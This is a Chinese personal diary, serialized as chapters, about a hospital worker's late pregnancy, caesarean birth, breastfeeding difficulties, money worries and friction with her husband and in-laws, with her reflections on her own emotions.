    第十三件事。今天看了吴谢宇的事，武志红老师分析的内容。他说他的分析都是假设，真实的东西都说不准。就是孩子和母亲的共生关系，让我想到了以后我对我的宝宝该怎么办？需要和她产生分离吗？应该吧！还有就是一些事情，作为妈妈需要变得更加独立自主，让孩子更安心的去远方。我不太爱说话交朋友，不过我可以写文章，还有就是学习的拍视频，分享自己的生活，那么以后我有了自己的爱好，孩子会不会对我更安心呢？也许会吧！如何做一个很好的母亲，真难，不过这是我需要学习的必修课。加油吧！

 第102章

    今天吃了妇产科胎监室好多水果，花生饼，李子，哈密瓜，还有一个同事做的糖醋鱼块。很好吃，味道很香。
    今天有很多的不开心。不开心的原因是昨天前天大前天的门没有锁好，然后我每个扫地阿姨都问候了一遍，都说没有。今天的扫地阿姨，我感觉她对我有点子意见，我也脾气好大，她扫地门没有关，病人要出来，以前的阿姨都会关好门，然后还会和人家说请人家不能从这里出。好气啊！我对她也确实有偏见。有的时候她腿脚不便，我第一次看她的时候比较同情，后来听说有个扫地阿姨会给保安师傅做饭。很好，然后她是为了他的钱在一起的，保安有自己的老婆，两个人都将近七十岁了，都有自己的儿女。然后有一天下班就看到了那个腿脚不方便的阿姨在保安室和保安聊天吧！然后对阿姨就有了偏见，认为他们有了不好的关系。然后这几天就越看那个阿姨越不顺眼。
    后来看到了微信里的一些文章，有的老爷爷老奶奶，已经很老了，他们的儿女都特别的希望，他们会有自己的感情，可是他们自己却不愿意，然后就有了走婚的形式，可是我也看不懂，只知道字里行间，写满了儿女对父母的祝福，希望他们在老了以后仍然有一个心灵归宿。这就是我对于这种事的理解吧！
    慢慢的这几天就看开了，对阿姨和那个大爷，也没有了偏见，后来，就发现原来传闻中的阿姨是另一个阿姨，并不是我充满偏见那个阿姨。然后那个大伯，仔细想一想，一般有了家庭的男的，都会变得很精明，何况六七十岁了。然后我没有了那种偏见，眼神突然之间就变好了。心情也更好了。
    。。。。。。
    最近又发生了让我很不舒服，很有评判的事。
    第一件，我去吃饭，吃酒席，是一个老师的儿子考的很好，吃的时候还有很多的菜想打包回家吃，可是那里的服务员很难找，后来找到了服务员才知道打包的盒子在楼上，很难拿，所以我们就没有打包。回来分享那家酒店饭菜很好吃，很可惜没有打包的事，家里人也说那家酒店的菜很好吃。可是又说了一些话，让我感觉很不好回应，说那里有夜总会。我听了之后不知道怎么回应。我感觉怎么说都不好。为什么话老是聊不到一起呢？而且还总是奇奇怪怪的念头。我很想去评判什么，我也不知道这个有什么意思。这个事情让我想起了很久以前的一个同事，帮了她很多忙，我承认帮她的忙也别有用心，希望她对我的印象好一点，然后我能收获朋友或者成为一个很好的领导人一样，然后她莫名其妙的认为我对她有意见，因为我聊聊不到一起，她比较喜欢研究各种豪车的牌子，而我穷的叮当响，只在乎那家的饭菜便宜好吃，所以她很尴尬，而我也不知道怎么回应她，车我是真的不懂啊！现在这种感觉又来了，那家酒店的饭菜好吃，而另一些人聊那里有夜总会，我该怎么回应？我想了很久想不出来。我真的很无语。很想说你懂的真多，好像也不好。因为这是长辈。很烦躁。那些话让我第一感觉就是长辈是一个心灵腐烂的人。没有一点生活的乐趣。没有光芒一样，这是我的坏的评判，因为我对于这个世界充满了非黑即白的评判，也许这个～世界有黑暗，可是我不想去看，也不想去关注～，因为我认为关注它没有意义，没有给我带来很多的好处，看到了听到了只会让我的大脑更加的痛苦痛恨这个世界。我选择拒绝这些信息。可是无论如何我都不可能活在真空的世界里，向往着幸福美满的生活，可是耳朵里总会听见很多关于家庭关于婚姻的无数抱怨，苦恼。各种鸡零狗碎的事情，各种不快乐的事情。可是这不是我所向往的想要的信息。
    这让我很无语，不知道如何回应。不想回应。讨厌回应。不知道说这些有毛线意义。也许是激活我的厌烦的情绪，也许是只有我在那里才会说这些乱七八糟的事情，我不在的时候，他们都是其乐融融的，都在讨论很美好的事情。只是因为我是一个外人而已，也许这是长辈与我沟通感情的方式，可是我真的很无语，很无语。
    很烦。
    第二件烦恼的事。最近扔垃圾很不小心会扔到地上，可是真的不是故意的，因为那个袋子太小了，然后，长辈说这样子让她很烦，因为需要收拾两遍。可是这确实是我不小心。我需要去改正。
    第三件很心烦的事。在喝酸奶，我会舔酸奶的盖子，因为酸奶的盖子上还有很多的酸奶，不吃掉很浪费。然后长辈说弟弟和我一样吃酸奶的样子，很像狗一样。这让我有一点点不开心。因为我认为这是节约粮食，这些酸奶是花钱买了的，为什么要浪费！我对于她的评价很不开心。不过我没有回应。懒得讲什么。话不投机半句多。讲的来，又会说我目无尊长。我们的消费观念也不一样，我认为有很多的东西都很浪费不划算，可是我也不会去指出来，因为他们有他们的生活方式，我有我的生活方式。
    第四件事，我喜欢吃紫薯，紫薯用破壁机豆浆的模式做出来很好吃，也可以生吃。我蛮喜欢的。不过最近还没有开始这样子做，紫薯买了，然后我吃紫薯的时候，他们没有讲什么，等弟弟吃的时候，就讲吃紫薯不好巴拉巴拉的，我当做没有听见。我真的很不开心。我也不知道为什么，也许这是指桑骂愧一样的感觉。不过我也没有怎么听。该怎么样就怎么样。
    家家有一本难念的经。我也不清楚我能和我老公的这本经能念多久。能念多久念多久吧！结婚是为了幸福，离婚也是为了幸福。反正一切顺其自然吧！
    这些都是很小的事情，无数琐碎的小事就像千里之提溃于蚁穴一样。怎么讲呢？淡定吧！兵来将挡，水来土掩。尽力而为就好。

 第103章

    过几天宝宝就要出生了。老公非常的期待宝宝的到来。
    我们这几天吵架了。因为长辈的事。老公站在了长辈这一边。我的心情不算好。想着冲动一点，早点离婚好了。及时止损。欠的彩礼钱还能趁着年轻借钱还清。反正婚也结过了，也体会了怀孕和小孩子。
    这几天都挺生气的。一来他们家长辈在讨论我们家长辈的事，说的话不好听。我不知道怎么理解，就直接顶回去了。二来，他们家长辈教育小孩子的方式，听的我很烦躁，一大早上就是各种负能量的话的出来，然后小孩子可以喝酒喝茶，我无法理解。我为未来我的孩子担心。算了担心也就这样子，家风怎么可能改的了？而且思想根深蒂固。搞得我很烦好想揍人。
    。。。。。。。。
    算了吧！反正小孩子投胎的时候都会自己看清楚的。不是我能怎么担心人家就能避免的。这世界上有一万多种可能性，我也没有办法什么都帮她把控好。我只能心情好一点，不增加人家潜意识里的负能量就行了。

 第104章

    今天学到了啥？这几天看了一些视频，给自己一个综合的评价就是其实我自己也是一个资深的猪扒，为了不当猪扒一样的人，那么需要学会精打细算的生活，需要学习着如何记账啊什么的。还有划算很多的开支。毕竟日子还是需要过的。
    然后还有就是好好学习。以后还是需要锻炼身体，听说锻炼身体保持身材可以提高很多能力，好想买一个锻炼身体的机器啊(ー_ー)!!想着很久了，也就一两百块钱，想买烤箱，微波炉，微波炉是为了热菜，烤箱是为了做吃的，我其实有一个烤箱了，不过那个好小才十升，我想要三十升的，可以装很多东西，那个小小的，做蛋糕不方便，想买一个很大的架子，可以把东西放在上面，洗衣机的上面想放一个架子，可以种一点菜之类的，阳台还没有搞好，还需要做一个晒衣服的东西。还有防盗网需要安装，因为以后有宝宝然后楼层很高，怕宝宝不安全。小房间需要订储物柜加榻榻米的模式。还有我的电脑桌之类的，网线之类的都需要安装，看一下我和老公的电话卡有没有组合在一起的套餐，我的移动老公的移动话费其实每个月都挺高的，如果加在一起，看一下网速会不会给我们弄更快的。本来还想买一个电脑，我这个电脑台式的，本来是为了自己玩物丧志，工作做不好的话玩的开心也可以，专门买来玩游戏的，可能配置还行，我的同事说这个电脑蛮好的，结果我居然没有玩上瘾，这个电脑配置对于老公工作来说配置有点子低，他需要作图，想买一个，可是现在好多地方都需要花钱，所以可能暂时不会买，就没有什么办法可以把组装机弄的配置高一点的办法吗？哎呀隔行如隔山，以后可能需要请教表哥他们。
    还有燃气灶，油烟机之类的需要搞好来。还有很多事没有办，就还有几天了。真希望可以搞定。
    万一买不到那个锻炼的机子，其实也有代替的办法，就是腾讯课程那里有一个教人家练太极拳的可以学一下，那个课程可能是免费的，如果不免费也可以去b站搜视频学，反正瑜伽垫我好像有。可以省钱，回忆一下自己一天的日程。今天做了啥，写了一点点文，记录一下自己的心情，然后早上五点多醒的，做了学习强国，然后六点半左右晒了衣服，早上七点多吃了个早餐，家婆做的早餐，喝了一包孕妇奶粉。吃了钙片，然后就躺在床上，看了两个华医网的视屏，学习视屏第一个女老师她的声音好听但是声音放到了最大还是很小我听不见，就索性放着了，第二个视频，女老师声音大，但是感觉很枯燥，所以就没听，放着了，因为时间太长了，一个小时左右。做完了那两个视频的题目，不过那个学分还是没有拿到，因为还有几个视频没有学完。然后另一个手机就用来听冥想的音乐，引导词，听了一个小时左右吧！做了个奇怪的梦，记录下来了，不过也不清楚啥意思。那个时候就十点了，然后就是睡觉，刷手机。中午十二点起床，家婆做好了饭菜，吃饭，听家公讲八卦，胖妹就是刷手机，写一写自己的看法，然后就是躺着，刷手机，做强国。然后两点钟左右吃橘子，再吃紫薯。躺着记录一下。
    好困啊，现在下午三点半，等下四点二十需要到医院做核酸。做完就回家继续休息。这就是我今天休假的一天。
    明天上班。
    最近怀孕的状态，翻身不太好翻了，需要我的脚和手打辅助，感觉胃的下面有点子奇怪的感觉，可能是宫缩，也有可能不是，不懂，反正怀孕头一遭呢！

 第105章

    分享一件很好的事，然后感觉到了嫉妒，然后看着手机上的时间走人。这是亲戚的样子。我也需要学会好好说话吧！我不能去评判什么。每个人的世界都不一样不是吗？
    和老公聊了一下，他说他认为人家在说很正常的事，可是我的反应特别的敏感偏激。是我的评判性思维太强了吗？为什么我感觉那些传递出来的情绪就是很不舒服的能量。不过算了吧！反正几十年也就过去了。我玩了一下人生模拟器。差不多玩了几十遍吧！每一种人生都挺奇怪的，活的年级长的，到了晚年基本上都是很无聊很乏味。早早死去的基本上都是英年早逝，有种遗憾的感觉。几乎平平安安到老的那些人，三十几的时候都会和妻子吵架，因为某些事情而不合。然后有了儿子孙子，和年轻人有代沟。
    现实也是如此吧！也许，我还没有孩子，我的孩子还需要过几天才生，所以我也不知道我会不会和老公吵架，我们以后还会不会有各种各样的分歧。
    今天同事和我说了很多的话，以后老公也许会过的好，有自己的事业。有的时候会比较担心，他有了很好的事业，可以开店啊挣钱什么的，他会不会发达了之后嫌弃我这个嫌弃我那个，会不会家里红旗不倒，外面彩旗飘飘。可是人终究需要去面对很多的事情，恐惧未来也不好吧！你有这个能力，你选择不这样子干，和你敢不敢是两码事。如果老公以后会事业有成，那也挺好的。缘分能到老也好，缘分到了时间，在有限的时间里尽情的创造美好也是一件很美好的事。
    知足常乐吧！
    我也需要提升自己的能力了。
    各种各样强烈的想法，不过我需要行动。坚持不懈的行动。
    过几天要生宝宝了吧！我的脚肿的不行，还被蚊子咬了，然后不小心搓破了皮，然后行动不舒服。
    今天是星期天想到了我笑我自己的几件事。其实都是很悲伤的事，可是在我的眼里很搞笑，我在嘲笑我自己，我活在自己的世界里像一个很倒霉的小丑一样。我以取笑自己为快乐。回忆了很多。其实都是很悲伤的事。我不会察言观色。
    第一件我做的饭菜难吃，我特别的开心的取笑自己做饭没有天分。
    第二件事，我说话没有分寸。那天和一个老领导聊天，大声的说某某人没长头发而且说了很多遍，没发现老领导他也头秃。想起来就好笑啊！怎么会有我这么傻逼的人。
    第三件事。很久以前，外面下雨，老师教了我给领导打一把伞，因为没有伞，雨大，然后我拿了一把伞，很傻的在那里等着，但是不知道等谁，领导淋着雨进门的，而门口的我仍然在拿着那把伞。傻逼一样的自己，再看看回忆自己的样子，特别的可笑。可是现在写起来又特别的想哭。可是更多的时候都是想笑。
    也许这就是我大脑的心理防御机制吧！不让我体会那种难受悲愤的感觉。保护自己不被悲伤淹没的状态，所以选择了以取笑自己为乐。可是懂了却不知道如何去改变自己的防御机制。
    今天看了一个心理防御机制的解说，里面老师说坏人都怕死。因为死了以后，可能每天都需要去面对痛苦，可能地狱里没有那种做了坏事就把那份痛苦给防御掉的机制。
    有感而发。
    我不想做笔记。还有五份笔记没有写。关于新冠的，不过我需要写，我最近也不想做题目。考试还没有考完。我有点心情不好。我不知道怎么形容这种情绪，难受悲伤，厌烦，抱怨，不快乐。
    我难受呀！因为我看到了问题，却没有想出解决这个问题的办法。我需要找到解救自己的答案：如何正确的面对自己的悲伤等各种负面情绪？这是我的课题。因为我选择取笑自己为快乐，会让我没办法成长起来。越是逃避越是不快乐。灵魂本质越是像一个小孩子一样思考。这是一件很难受的事。

 第106章

    今天中秋节，可能快要生宝宝了。晚上一点钟左右肚子痛，不过我感觉没什么痛，家婆叫我去医院了。然后连夜赶的去医院。
    一开始十几分钟痛一次，后来五六分钟痛一次，有宫缩的感觉。
    这几天都在做噩梦，梦见一个黑色的女人说女人生孩子机器，巴拉巴拉的，搞得我最近几天都在听大悲咒。缓解我焦虑的心情，然后到了医院住下来了，睡觉的时候，梦见小孩子在说爸爸是个窝囊废。然后又起来听大悲咒。这也有可能是我自己的潜意识。不过老公一晚上也很辛苦的。因为昨天晚上一个亲戚出车祸了，我们去医院看望他，吃饭吃的好晚，大家都晚，晚上八九点吃饭，吃好了又给亲戚送了，然后晚上一点多，肚子开始发动了。赶紧去医院。然后住下来了，因为有了宫缩可能在8到24小时会生吧！妇产科很多内容我其实都还不太明白，听说生了娃，那些不懂的事就更懂了

 第107章

    我以为中秋节会生宝宝，没有想到是八月十六。我本来打算顺产，艰难的开到了三指，打上了无痛分娩的针，结果折腾了很久到五指的时候还是生不下来。羊水从很好的状态到了三度，然后就赶紧去手术室剖腹产了。无痛分娩的针还蛮好的，可以减轻痛苦，没有使用无痛之前，我的身体特别的敏感，一点点痛就感觉要命过一样。怀疑人生。可惜以后不能顺产了吧！
    因为宝宝比较大，然后我个子小，试产时间又太久，所以医生建议剖腹产。然后就进了手术室，可能因为麻醉的原因，没什么知觉，感觉身上动了几下子就出来了，然后医务人员告诉我，宝宝胎记，然后性别，按手印。在进手术室之前，就把我准备顺产吃的东西全部呕吐出来了，真幸运，在手术室也呕吐了几下，没啥东西。出来的时候，老公说他叫了我名字，我还看了他一眼，不过我没有什么印象，我睡的很死。
    可能我是半夜醒的吧！醒来的时候，全身都湿了，出汗出的，然后家里人给我擦身，换衣服。也就是这个时候，我才能理解为什么她们说家婆需要给儿媳坐月子照顾她。剖腹产是动都不能动。然后这些事情都是家婆老公他们干的。后面就是翻身，我趁着麻醉的感觉没有消停，就自己翻身。学着自己翻。家里老人教的，他们住院的时候也是这样子，能自己做的事他们都是自己干，没有依赖过我们这些小辈，这样子虽然显得没什么人情味，可是大家心里有感情明白就行。后面麻醉醒了，自己翻就更麻烦了。痛，不过我有电子微量泵还好一点。
    语无伦次的感觉。
    宝宝出生以后的生活不算顺利，因为痛，痛了几天之后，就是喂奶的问题，喂奶很痛，因为没有掌握正确的方法。后来学习了一下子，就更好了。
    宝宝一开始的需要的奶量很少，然后一天天的长大，就需要更多一点点，**也是这样子分泌乳汁的，我和家婆都不会这个，然后家婆说我奶水不足，然后初乳浪费了，等后面的时候，家婆还有隔壁的美女产妇，她也是这样子和我讲的，新生儿吸奶很痛，痛到什么乳腺管很痛，就会有很多奶水。总之乱七八糟的话听进去了，然后我的**被宝宝咬的很痛，乳腺科的老师和我说我的乳腺管是通畅的，没有听懂，后来搞了很久才明白过来，是喂奶的姿势不对，**才会痛，婴儿的嘴巴必须含着**吸奶，**才不会痛。可惜我领悟的太晚了。人家老师也教了好几遍，我并没有听懂，智慧这玩意真的是时时刻刻需要它在线。
    后面给宝宝取好了名字，老公弟弟取得名字，他弟弟才五岁，还好听。然后老公爷爷选择的字。比较喜欢老人家选择的字吧！比较有文化内涵。老公也选择了很好听的字，也很好听。后面我们选择爷爷选择的字，因为寓意更好。宝宝五行缺木，所以希望她的名字里带有木，以后更爱学习。总之，好字啊！喜欢。算命说，这孩子以后对爸妈好，以后的人生也会过的很好。听了很开心。老公爷爷付了不少钱。老公说他们其实迷信，这只是一种心灵寄托。
    不过我是比较迷信的。既然说她会过的好，对父母好，我就开心一点呗！尽力给她一个好的未来吧！给不了这个世界上最好的，给她这个世界上我能给的最好的
    不过也不能强求，我怎么知道，我努力的给你苹果，其实你更爱李子呢？顺其自然吧！反正人生是一场旅途，我们在旅途里学会着什么，就可以回到原来我们该去的地方了。

 第109章

    今天宝宝的纸尿裤用完了，138元一包六十八片，宝宝今天出生大概第十天吧！那种纸尿裤质量是比较好的，有点子舍不得钱了，等这个月过完了，再换一种实惠的纸尿裤吧！不然养不起。家婆说我没有什么奶水，然后老公决定买奶粉。我去了乳腺科看了，其实我的奶水量是正常的，而且没有问题，可是不管怎么讲，他们都是坚定不移的认定我没有奶水，宝宝吃不饱。算了，反正宝宝又不是我一个人的宝宝，我尽力的解释和争取了。其他的随缘。
    今天看了《被讨厌的勇气》。其实我每天抱怨那么多，也是有目的的，我也不知道什么目的就是，反正对自己有好处，可是这种好处又是一种坏处，不清楚我的本质目的是什么？
    就像前段时间每天的抱怨指责一样，有目的可是我也不知道目的是什么？总之对自己有好处，可是那种好处又非常的隐晦。
    我不知道我在写什么。就像我曾经把我的房间弄的很乱不整洁，然后希望人家看到这样子的我，就会对我距而远之，因为这样子的话，我就不用接触人际关系了。可以保持一种孤独感。孤独的自己可以保持头脑简单不复杂。这就是目的。
    而现在不停的抱怨肯定也有我的目的，我也不知道什么目的。
    今天国庆节，老公生日，上午本来知道的，不过我没有什么反应。有点头晕，睡了比较久，晚上老公说等了我一天对他说生日快乐，没有等到。忘了，一孕傻三年的症状有点子大。
    最近按三阴交特别的痛。动作很轻也是这样子。据说对子宫好。反正产后了，应该也没有什么。
    生完宝宝之后，想起了，有的文说有的宝妈，在有了宝宝以后仍然能够把自己的事业打理好，以前不懂这是什么意思，现在就明白了，确实生宝宝很累，带宝宝可能更累，能够在很累的时候，仍然把自己的事业搞好，那就真的很了不起。
    今天看的书，看的懂的内容。第一学会如何利用被给予的东西。而不是抱怨人家给的不多，就是你这个人生下来环境和别人不一样，有的人条件很好，有的人条件很差，可是每个人都有每个人的福分，这是自己没有办法选择的，而如果每天都在羡慕别人的条件好，就是对自己本身的一种抱怨，抱怨自己条件不好，不如别人，这种事不能给自己带来更多的好处，只能给自己带来更多的负能量，所以需要学会如何利用自己被给予的东西。
    这个启发还是有的。昨天和我妈妈确认了一下，发现我确实是个早产儿，而且满月了才五斤多的样子。我在中医书那里看了一下，发现我是先天不足。然后前两年中医医生那里看了，医生说我的状态可能是一个早产儿，可能我小时候是早产生下来的，所以每天都睡不好，状态也不是很好。很累很累的感觉。没有想到是真的。可是这也不是我妈妈的错，她和我都没有办法决定我什么时候出生，什么时候来。这是天生的，奶奶说过很多个改变不了的很痛苦的事情，就不要那么纠结了，这是老天爷的安排。
    突然想到了一个同事～，她那天说自己是一个早产儿，很小，然后好不容易生下来了，没有想到我也是，当时我还听的精精有味的，现在的自己只想好好的笑话一下自己。我也不知道这是什么心理。只是感觉很好笑。
    怎么样才能补足后天呢？先天不足，只能靠后天来调理了。虽然搞不定很多的状态，但是能搞得定一分是一分。往好的那一面前行，总会过的好一点吧！虽然和那些状态很不错的人相比较，我怎么努力都还是有差距，但是总比不努力好吧！
    我的宝宝是一个足月儿，还可以。每天吃饱了睡，可是还是感觉她没有什么安全感。所以还是很神奇的。可能缺乏vd。明天需要补了。
    结婚的生活，真的没有单身好。因为单身可以不用面对很复杂的人际关系，就一个人一个房间，挺好的，我好像还是很喜欢单身的生活。头脑简单，思维也简单。可是选择了结婚就好好负责吧！
    可是还是有很多落差感。结婚之前很喜欢的打卡挑战，之前都会去完成，结婚以后好像没兴趣了一样，做事没劲。这个打卡有一点点收入，虽然杯水车薪，但是它～可以让我感觉到快乐。可是没有干。想买烤箱，不买，我其实用自己的钱的，都说凡事需要商量一下，有点子失落。想买的架子不买。我～很难受耶。结婚之后的生活和我想象中的不一样。没有快乐的感觉，可是我需要把言行举止表现的很快乐，因为板着脸对别人～不礼貌。
    可是我不是真正的开心。我不开心。

 第110章

    今天。
    最近发现一些小姐姐她们也会写日记。她们通过写日记来缓解自己焦虑难受的心情。知道了她们的分享的我很是开心，终于发现了一些志同道合的人。然后我也可以通过这种方式缓解自己的焦虑。
    。。。。。。。。。。。。
    分界线，这是新的一天了。
    最近发现宝宝吐奶豆腐渣样，万般纠结下问了主任，需不需要看医生，需要看。有点子难受吧！
    她最近都在吐奶。看的我没有什么感觉，都是吃了吐，吐了吃，感觉宝宝没有安全感，睡眠的时间大概十六个小时左右，对于新生儿来说，有点子短了。我很希望她每天能睡二十小时。她才生下来第一个月。
    生完了宝宝之后才发现日子挺难过的，需要买好多母婴用品，尿不湿需要花好多钱，买好的嘛，容易超支，买便宜的吧！宝宝容易红屁股，我们换的纸尿裤比较勤，可是还是免不了，不过现在就只有一点点红，还好。
    因为宝宝会吐奶，所以换尿不湿需要在喂奶后十五分钟左右。才不会引起宝宝的不舒服。
    真的当妈了才知道当妈妈的痛苦。一开很敏感，无论旁边人说了什么话都感觉对方在针对自己一样，然后看什么都不顺心。
    感觉自己很差劲，有好多次希望离婚，自己一个人生活，不想去面对很多的人和事。结婚了才知道单身好，不用面对复杂的生活。结婚以后才明白生活里很多小事情搞得人心情很烦躁，焦头烂额的，经常会因为很小的事情对另一半进行抱怨。像老公指甲剪没有拿给我，我抱怨了他很久。这样子的事情很多很多。
    看被讨厌的勇气里说，其实愤怒只是一种表现形式，本质上是目的，达到抱怨的目的，我也不知道我写的什么，因为那本书我只看了一遍，很多东西看的我似懂非懂的样子，而看那本书的时候我可能出的血比较多，所以有点头晕目眩的感觉，所以这本书吸收的内容很少。也不知道自己在表达什么的感觉。
    这几天学到的内容，黄花菜对伤口好，然后豌豆对乳汁不足有好的作用。这是这几天喝的汤料里的东西，搜了一下百度，拼夕夕上买的月子汤，没有想到作用还不错。茯苓除湿很不错，总之很满意。
    不过我还是有点子头疼，因为不喜欢绑那个头围，老人家说如果不绑那个很容易头疼，原理是什么不懂，可能是风寒吧！

 第111章

    今天学习了正确的拍嗝方式，宝宝拍出嗝来了很舒服！
    宝宝还是会吐奶，昨天去看了医生，昨晚好了一点，可是今天早上又吐了豆腐渣一样的奶。可能晚上吃多了吧！我发现宝宝可能不知道自己需要吃多少，肚子鼓鼓的，她也好想吃奶，没吃到奶就特别的不开心，一个劲哭。吃完了就吐。妈的。。。。。
    早上的时候涨奶。胸和石头一样，比较难受。这些和各种言情小说里的感觉都不一样。果然现实世界很多程度上，并没有文学作品里的美感。
    当人类铲屎官的半个月来，感悟就是人果然活着不容易啊！妈妈很辛苦，宝宝也不容易，爸爸在玩游戏，很想讲什么，不过还是说不出来，因为他也压力大吧！
    这次我们去了乡下，乡下好冷，晚上回的时候，路上好多雾。晚上被子很厚，我们冬天盖的，现在秋天用上了，好像也还好吧。晚上给宝宝喂了奶，然后一早上喂了一次，白天吐奶，换尿不湿，基本上月子就这样过去，等出了月子，应该需要做饭之类的吧！不然天天躺床上会有点瑜伽。等出了月子就可以去打疫苗了，新冠还有一针没有打，需要打。然后打了新冠我们医院有一个福利，可以免费做产后复查。挺好的，然后还有我的编制体检x光需要去做。还有考试，专升本考试。需要复习，昨天装好了网，我的新房子。挺好的，然后昨天认识了新邻居，他们要搬走买了一些二手用品，老公认为还划得来，两百的床还有一百的水盆。我老公去实体店问的水盆需要一千一听我都惊呆了，在我的认知里这个几十块，可是我没买过这种东西。这只是我个人的想法。邻居说这个他们两三百买来的。很惊讶吧！桌子还行，可是老公的审美观很高，他喜欢好看的，所以没有要这个。我们的房间他设计的还不错，价格也非常销魂。不过听说好看的环境还有磁场可以让人生活的负能量更
    少，所以我也没有讲什么，只是默默的想钱不够花。邻居和我们一起抽的房子，他们就买房子了，羡慕，我们也好好加油吧！估计需要住很久。大概六年到十年。这个时间很漫长。可是这是考虑我们两个人的经济实力。

 第112章

    那次回了乡下的家里，好冷。宝宝鼻塞，然后去乡下医生那里看了，八元钱，买了两包药。用了挺好的，因为我很着急，看到了宝宝的三凹征，听到了哮鸣音。所以说话非常的急躁，乡下的天气是比县城更冷，然后和老公说话就好急。他听了之后也很急。说的话搞得我好气。
    事情之后反思了一下，就是自己的语气很着急。导致他听了之后认为我对他有意见，可能他也反思了吧！后来发现他说话的语气很柔和。变得更轻缓了很多。
    最近晚上他会带娃给娃换尿裤，所以在我心里的印象好了很多，不过他这样子很辛苦。白天又要上班，晚上凌晨又要带娃。基本上休息不算好。我找了一下娃娃晚上哭闹的原因，发现是肠胀气，屁放不出来，然后我和老公两个人基本上都是夜猫子，搞得宝宝昼夜不分，他爱打游戏，我爱看小说，两个人都是半斤八两的那种。晚上他下班回来，吃完饭的那段时间，打游戏，他工作压力都是靠打游戏缓解的，所以我也不讲什么。我有的时候心里有意见，成为了爸爸妈妈，我的时间被宝宝全面拥有了，他的没有。有点小小的委屈，然后生了宝宝以后，喂奶胸痛，各种不舒服，感觉智商也下降了好几个档次，可是他还在玩游戏。我认为不公平。可是这几个月没有什么收入，基本他挣钱。还有债没有还。
    看一些内容。有一些想法。嫁人对女生来说不太友好。如果只是和男生谈恋爱结婚也只有男生一个人的关系，确实生活还能忍受，可是更多的时候，是一个女生背井离乡，去了另一个人的家里，和老公磨合，和老公的家里人磨合。是一种在娘家像外人的感觉。因为家里人知道你会嫁掉，很多的资源他们都不太愿意给你投入很多，哪怕你的学习很好，哪怕很懂事，当然这只是指的我自己的经历，和别人没关系，有的前辈的小孩子女孩子，家里人给她全款买房。是非常富有的，我比不起。我们家孩子比较多，上学的资源都有限。在婆家我比较直率，说话很直接，然后长辈有意见，老公就会讲我。我感觉很烦躁。很想单身。一个人，不要娘家也不要婆家。
    可是没有去经历过这样子的日子，就会对别人的生活产生很多羡慕的想法。时时刻刻会想自己是很苦的。其实别人看我也是如此，他们在我单身的时候羡慕我，可是我羡慕人家家庭幸福美满。现在想想一切都是想象而已。
    算了算了，既来之则安之。好好的去想一下怎么划算生活吧！过日子真的挺难的。
    有限的钱有限的时间，划算很多事情。柴米油盐酱醋茶。还要处理与家里人的人际关系，要找准自己的位置，夫妻关系也要处理好。真是地狱模式。好难啊好难啊！说话要有技巧。现在流的泪就是当时脑子进的水。
    不过我也知道，如果当时我坚定不移的单身。结局也一样痛苦至极。因为我妈妈会烦不甚烦的叫我去相亲。搞得我每次回家都很痛苦。比起回家更喜欢一个人在房间里躺着看小说。可是没精打采的，因为我吃饭没有胃口，经常有时候吃有时候不吃。刷题，看小说，休息的一天就过去了，我也知道久而久之，我一定会内耗而死。其实很多时候都很想像小说里的主角一样，可以十八般武艺技术高强，可以做很多很多事情，可以一个人打好几份工，可以收入变得很高，可以维持生活。可是我毕竟不是主角，能力也一般般，努力了许久也战胜不了自己内心的匮乏，当一个人所有的意志都想着挣钱时，其实他需要的是很多很多的爱。这是周公解梦里的内容。这也挺适合当时的我，可是当时的我不明白这个道理。
    以前的自己也没有什么能力，内心充满了爱国爱家的能量，很想做一番事业，可是后来就变了。因为发现自己其实并没有拥有一些东西。爱与归属吧！发现自己的家人并不爱自己，而自己又一个劲的渴望这种东西，歇斯底里的强求这些不存在的东西。让自己处于一种很难受很痛苦的角色里。学了一些佛经里的内容，强求不了的就当我没有积累过这份福德吧！
    然后心情豁然开朗。其实我那么痛苦，真的是少读了点书。而我又特别喜欢追求痛苦，因为痛苦对我而言有好的意义。因为这样子，我看那些过的很惨的人，可以感同身受。心灵不会变得倨傲，可以变得谦卑，谦怀若谷的感觉。可是这对我的生活没有任何价值，这种执着的追求不能让我变得富有，也不能让我生活变得更好。这种想法很好，这是追求的一种圣人的境界吧！希望自己就像一个道德很好的人一样，看到很凄惨的人，心灵平静，能够感同身受，让他与自己共情，解除他的痛苦，然后看到很好的人，生活很美好的人，在自己的面前眼前而不嫉妒。以一种平和的心态去面对，为别人的好而感觉到真心的祝福。这种想法是很好的，可是就没有别的途径可以实现了吗？
    家家有本难念的经，我的经，就四个字人生苦短。

 第113章

    最近终于出了月子。
    宝宝满月了，比出生大概重了三斤左右。母乳性黄疸好像也好多了，几乎没有了。给她打好了第一针预防针。才知道小孩子每个月都要打，以前也知道，但是没有仔细去了解。看1到了十三价肺炎的预防针，需要自己出钱，我们那个附近的医院需要六百多块钱一针。听家里人说每个地方的钱不一样。他们的二胎也打了，不用那么贵一针。不过预防针的效果还不错，老公弟弟一直都没有生过肺炎。我也想给我宝宝打。
    。。。。。。。。。。
    把我的编制的x光体检做完了，然后发现自己的名单已经在公布出来了。找了好久自己没有看到，问了人家很多次，才看到。这是昨天的事，我先去的人民医院，然后医院说那个表已经交上去了，所以又去卫健委问了一下，是去人民医院检查，把体检单交过去就行。然后又去了人民医院，做检查，排队等了一会儿，中午在外面吃东西，去新华书店看了一本《医本正经》的书，漫画，挺好看的，想买，但是那个需要四十二元，就没有买，订阅了作者的公众号。里面是中医的内容，挺有意思的。回到家的时候，宝宝哭了。她好难过的样子，吃奶的时候把我咬的好痛。我的内心一阵无奈，因为月子里我也好几次离开她了。一会儿是要去上课，一会儿是要去考试，专升本的，反正好几天的时间，感觉她很难过。同事说宝宝吃奶的时候，一个劲的哭不吃就是生气了的意思。然后宝宝哇哇哭了好久之后，就吃饱了。家婆在家带宝宝三天，那三天我考试，然后因为宝宝晚上一直哭，所以家婆经过这种折腾就身体吃不消，发烧了。我回家的时候已经目瞪口呆。老公也说头好晕。然后回来了宝宝因为用了奶瓶不喝母乳，喝母乳没有力气，然后搞得我好生气啊(ー_ー)!!然后她望着我一个劲哭，老公和家婆抱了宝宝很久，我气的没办法。后来第二天宝宝会喝奶了，力气比较小，后来就慢慢的好大的力气。痛。然后过了几天，发现这个宝宝她很调皮了，吃奶根本不认真，就玩游戏一样。拿她没办法。
